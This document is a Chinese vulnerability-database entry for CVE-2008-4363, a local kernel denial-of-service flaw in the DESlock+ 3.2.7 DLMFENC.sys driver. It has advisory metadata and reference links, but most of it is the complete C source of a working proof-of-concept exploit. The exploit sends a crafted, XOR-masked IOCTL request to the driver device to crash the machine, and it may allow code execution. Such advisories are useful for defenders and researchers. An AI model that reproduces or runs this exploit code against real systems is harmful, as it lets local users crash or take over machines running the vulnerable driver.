DESlock+ DLMFENC.sys 拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116159 漏洞类型 输入验证
发布时间 2008-09-20 更新时间 2008-09-30
CVE编号 CVE-2008-4363 CNNVD-ID CNNVD-200809-451
漏洞平台 Windows CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/6498
https://www.securityfocus.com/bid/80941
https://cxsecurity.com/issue/WLB-2008100107
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200809-451
|漏洞详情
DESlock+是一款流行的数据加密工具。DESlock+3.2.7的DLMFENC.sys1.0.0.28允许本地用户通过对想覆盖一个指针的某个\\.\DLKPFSD_Device提交一个DLMFENC_IOCTL请求来造成拒绝服务(系统崩溃)或可能执行任意代码。它可能与当ProbeForWSrite被预设时ProbeForRead函数的使用有关。
|漏洞EXP
/* deslock-probe-read.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * DESlock+ <= 3.2.7 local kernel DoS POC
 * by mu-b - Sat 19 Jul 2008
 *
 * - Tested on: DLMFENC.sys 1.0.0.28
 *
 * call to ProbeForRead with a user-definable address that
 * is eventually overwritten (should have been ProbeForWrite).
 *
 * http://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx
 * - I wonder what that says about CESG CCTM?
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG  0xC001D00D

#define ARG_SIZE(a)   ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
  int flag;
  int req_num;
  void *arg[ARG_SIZE(0x20)];
};

static void
xor_mask_req (struct ioctl_req *req)
{
  DWORD i, pid;
  PCHAR ptr;

  pid = GetCurrentProcessId ();
  for (i = 0, ptr = (PCHAR) req; i < 0x0C; i++, ptr++)
    *ptr ^= pid;
}

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  HANDLE hFile, hThread;
  DWORD rlen, dThread, nTotal, nFail;
  LPVOID zpage;
  BOOL result;

  printf ("DESlock+ <= 3.2.7 local kernel DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fflush (stdout);
  hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  zpage = VirtualAlloc (NULL, 0x1000,
                        MEM_RESERVE|MEM_COMMIT, PAGE_READONLY);
  if (zpage == NULL)
    {
      fprintf (stderr, "* VirtualAlloc failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("* allocated page: 0x%08X [%d-bytes]\n",
          zpage, 0x1000);

  req.flag = DLMFENC_FLAG;
  req.req_num = 18;
  req.arg[0] = (void *) zpage;
  sleep (2000);

  xor_mask_req (&req);
  result = DeviceIoControl (hFile, DLMFENC_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("* hmmm, you didn't STOP the box?!?!\n");

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2008-09-20]
|受影响的产品
Deslock Deslock 3.2.7
|参考资料

来源:MILW0RM
名称:6498
链接:http://www.milw0rm.com/exploits/6498
来源:VUPEN
名称:ADV-2008-2638
链接:http://www.frsirt.com/english/advisories/2008/2638
来源:SREASON
名称:4342
链接:http://securityreason.com/securityalert/4342
来源:SECUNIA
名称:31921
链接:http://secunia.com/advisories/31921
来源:MISC
链接:http://digit-labs.org/files/exploits/deslock-probe-read.c